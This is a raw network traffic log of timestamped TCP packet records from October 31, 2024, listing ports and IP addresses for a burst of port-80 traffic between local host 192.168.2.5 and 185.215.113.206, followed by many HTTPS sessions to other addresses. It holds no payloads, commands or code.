Oct 31, 2024 03:04:36.736006975 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.736044884 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.736068964 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.736089945 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.736116886 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.736154079 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.736157894 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.736198902 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.736285925 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.736319065 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.736329079 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.736356974 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.736361027 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.736401081 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.736542940 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.736572981 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.736610889 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.736733913 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.736772060 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.736825943 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.736993074 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.737025976 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.737061024 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.737061977 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.737086058 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.737095118 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.737102985 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.737131119 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.737138987 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.737173080 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.737473011 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.737519026 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.737525940 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.737560987 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.737566948 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.737596035 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.737606049 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.737632036 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.737664938 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.737698078 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.737698078 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.737699986 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.737719059 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.737737894 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.737751961 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.737787008 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.737804890 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.737832069 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.737834930 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.737874985 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.738476992 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.738511086 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.738535881 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.738539934 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.738559961 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.738575935 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.738579035 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.738610983 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.738619089 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.738646030 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.738653898 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.738682985 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.738718987 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.738729000 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.738754034 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.738759041 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.738791943 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.739276886 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.739306927 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.739341021 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.739355087 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.739363909 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.739392042 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.739402056 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.739428043 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.739461899 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.739471912 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.739497900 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.739531994 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.739548922 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.739574909 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.740221024 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.740257025 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.740272045 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.740292072 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.740300894 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.740328074 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.740331888 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.740365982 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.740376949 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.740401030 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.740405083 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.740437031 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.740442991 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.740472078 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.740487099 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.740508080 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.740516901 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.740549088 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.741094112 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.741127968 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.741147041 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.741158009 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.741172075 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.741190910 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.741198063 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.741230011 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.741230965 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.741266966 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.741276979 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.741302967 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.741336107 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.741348982 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.741370916 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.741383076 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.741405010 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.741411924 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.741442919 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.742013931 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.742048979 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.742057085 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.742084026 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.742090940 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.742117882 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.742122889 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.742150068 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.742158890 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.742183924 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.742188931 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.742234945 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.742239952 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.742269039 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.742273092 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.742306948 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.742310047 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.742341042 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.742341995 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.742382050 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.742933035 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.742969990 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.743016005 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.743019104 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.743048906 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.743065119 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.743083000 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.743092060 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.743119001 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.743122101 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.743154049 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.743160009 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.743190050 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.743196964 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.743225098 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.743233919 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.743273973 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.743568897 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.743604898 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:36.743628025 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.743639946 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:36.877460003 CET	443	50397	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.906408072 CET	50397	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:36.906418085 CET	443	50397	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.906909943 CET	50397	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:36.906913996 CET	443	50397	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.925935984 CET	443	50395	52.165.164.15	192.168.2.5
Oct 31, 2024 03:04:36.952042103 CET	443	50395	52.165.164.15	192.168.2.5
Oct 31, 2024 03:04:36.952331066 CET	50395	443	192.168.2.5	52.165.164.15
Oct 31, 2024 03:04:36.954206944 CET	443	50396	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.957964897 CET	50395	443	192.168.2.5	52.165.164.15
Oct 31, 2024 03:04:36.957977057 CET	443	50395	52.165.164.15	192.168.2.5
Oct 31, 2024 03:04:36.957998991 CET	50395	443	192.168.2.5	52.165.164.15
Oct 31, 2024 03:04:36.958003998 CET	443	50395	52.165.164.15	192.168.2.5
Oct 31, 2024 03:04:36.989048958 CET	50396	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:36.989070892 CET	443	50396	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:36.989586115 CET	50396	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:36.989593983 CET	443	50396	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.032706976 CET	443	50397	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.032723904 CET	443	50397	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.032753944 CET	443	50397	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.032780886 CET	50397	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.032820940 CET	50397	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.053122044 CET	50397	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.053133011 CET	443	50397	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.053142071 CET	50397	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.053145885 CET	443	50397	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.089524984 CET	50405	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.089585066 CET	443	50405	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.089903116 CET	50405	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.097795010 CET	50405	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.097829103 CET	443	50405	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.099790096 CET	443	50400	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.100269079 CET	50400	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.100298882 CET	443	50400	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.101156950 CET	50400	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.101171017 CET	443	50400	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.104195118 CET	443	50398	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:37.109093904 CET	50398	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:37.109106064 CET	443	50398	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:37.110183001 CET	443	50398	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:37.110250950 CET	50398	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:37.115360022 CET	443	50396	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.115447998 CET	443	50396	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.115514994 CET	50396	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.115726948 CET	50396	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.115726948 CET	50396	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.115742922 CET	443	50396	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.115757942 CET	443	50396	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.115931988 CET	50398	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:37.115993023 CET	443	50398	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:37.116806984 CET	50398	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:37.116820097 CET	443	50398	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:37.117053032 CET	50398	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:37.117075920 CET	443	50398	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:37.120307922 CET	50406	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.120332003 CET	443	50406	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.120450020 CET	50406	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.126390934 CET	50406	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.126405001 CET	443	50406	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.173297882 CET	50407	443	192.168.2.5	4.175.87.197
Oct 31, 2024 03:04:37.173326015 CET	443	50407	4.175.87.197	192.168.2.5
Oct 31, 2024 03:04:37.173412085 CET	50407	443	192.168.2.5	4.175.87.197
Oct 31, 2024 03:04:37.173957109 CET	50407	443	192.168.2.5	4.175.87.197
Oct 31, 2024 03:04:37.173962116 CET	443	50407	4.175.87.197	192.168.2.5
Oct 31, 2024 03:04:37.175091028 CET	443	50401	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.176994085 CET	50401	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.177007914 CET	443	50401	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.177586079 CET	50401	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.177591085 CET	443	50401	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.185606003 CET	443	50402	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.185937881 CET	50402	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.185970068 CET	443	50402	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.186525106 CET	50402	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.186536074 CET	443	50402	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.233911037 CET	443	50400	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.234071970 CET	443	50400	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.234209061 CET	50400	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.234607935 CET	50400	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.234607935 CET	50400	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.234647036 CET	443	50400	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.234672070 CET	443	50400	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.238923073 CET	50408	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.238965034 CET	443	50408	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.239029884 CET	50408	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.239295959 CET	50408	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.239309072 CET	443	50408	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.309066057 CET	443	50401	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.309169054 CET	443	50401	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.309222937 CET	50401	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.309223890 CET	443	50401	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.309271097 CET	50401	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.310961962 CET	443	50403	20.125.209.212	192.168.2.5
Oct 31, 2024 03:04:37.311435938 CET	50403	443	192.168.2.5	20.125.209.212
Oct 31, 2024 03:04:37.311454058 CET	443	50403	20.125.209.212	192.168.2.5
Oct 31, 2024 03:04:37.312428951 CET	443	50403	20.125.209.212	192.168.2.5
Oct 31, 2024 03:04:37.312706947 CET	443	50402	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.312856913 CET	443	50402	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.313014984 CET	50402	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.317976952 CET	50403	443	192.168.2.5	20.125.209.212
Oct 31, 2024 03:04:37.318113089 CET	443	50403	20.125.209.212	192.168.2.5
Oct 31, 2024 03:04:37.318217039 CET	50403	443	192.168.2.5	20.125.209.212
Oct 31, 2024 03:04:37.343430042 CET	50401	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.343430042 CET	50401	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.343458891 CET	443	50401	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.343472958 CET	443	50401	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.345624924 CET	50402	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.345663071 CET	443	50402	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.348777056 CET	50409	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.348795891 CET	443	50409	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.348853111 CET	50409	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.349425077 CET	50409	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.349436998 CET	443	50409	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.350886106 CET	50410	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.350913048 CET	443	50410	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.350974083 CET	50410	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.351140976 CET	50410	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.351154089 CET	443	50410	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.359339952 CET	443	50403	20.125.209.212	192.168.2.5
Oct 31, 2024 03:04:37.394675970 CET	443	50404	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:37.395087957 CET	50404	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:37.395112991 CET	443	50404	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:37.396869898 CET	443	50404	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:37.396960020 CET	50404	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:37.397384882 CET	50404	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:37.397470951 CET	443	50404	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:37.397749901 CET	50404	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:37.397757053 CET	443	50404	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:37.397777081 CET	50404	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:37.397790909 CET	443	50404	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:37.400852919 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:37.400875092 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:37.405693054 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:37.405728102 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:37.446007013 CET	50404	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:37.474781990 CET	443	50403	20.125.209.212	192.168.2.5
Oct 31, 2024 03:04:37.499891996 CET	443	50403	20.125.209.212	192.168.2.5
Oct 31, 2024 03:04:37.499948025 CET	50403	443	192.168.2.5	20.125.209.212
Oct 31, 2024 03:04:37.502109051 CET	50403	443	192.168.2.5	20.125.209.212
Oct 31, 2024 03:04:37.502115965 CET	443	50403	20.125.209.212	192.168.2.5
Oct 31, 2024 03:04:37.588525057 CET	443	50404	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:37.589183092 CET	50404	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:37.589235067 CET	443	50404	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:37.589356899 CET	50404	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:37.612166882 CET	443	50398	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:37.612775087 CET	50398	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:37.612823963 CET	443	50398	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:37.612941027 CET	50398	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:37.830405951 CET	443	50405	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.831027985 CET	50405	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.831085920 CET	443	50405	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.831592083 CET	50405	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.831605911 CET	443	50405	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.861408949 CET	443	50406	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.861983061 CET	50406	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.861994028 CET	443	50406	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.862539053 CET	50406	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.862545013 CET	443	50406	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.959721088 CET	443	50405	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.959789991 CET	443	50405	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.960000038 CET	50405	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.960103989 CET	50405	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.960136890 CET	443	50405	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.960165977 CET	50405	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.960180044 CET	443	50405	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.963675022 CET	50411	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.963694096 CET	443	50411	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.963805914 CET	50411	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.964268923 CET	50411	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.964278936 CET	443	50411	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.975389957 CET	443	50408	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.976167917 CET	50408	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.976185083 CET	443	50408	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.977798939 CET	50408	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.977803946 CET	443	50408	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.992482901 CET	443	50406	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.992547989 CET	443	50406	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.992630005 CET	50406	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.993828058 CET	50406	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.993837118 CET	443	50406	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:37.993846893 CET	50406	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:37.993851900 CET	443	50406	13.107.246.45	192.168.2.5
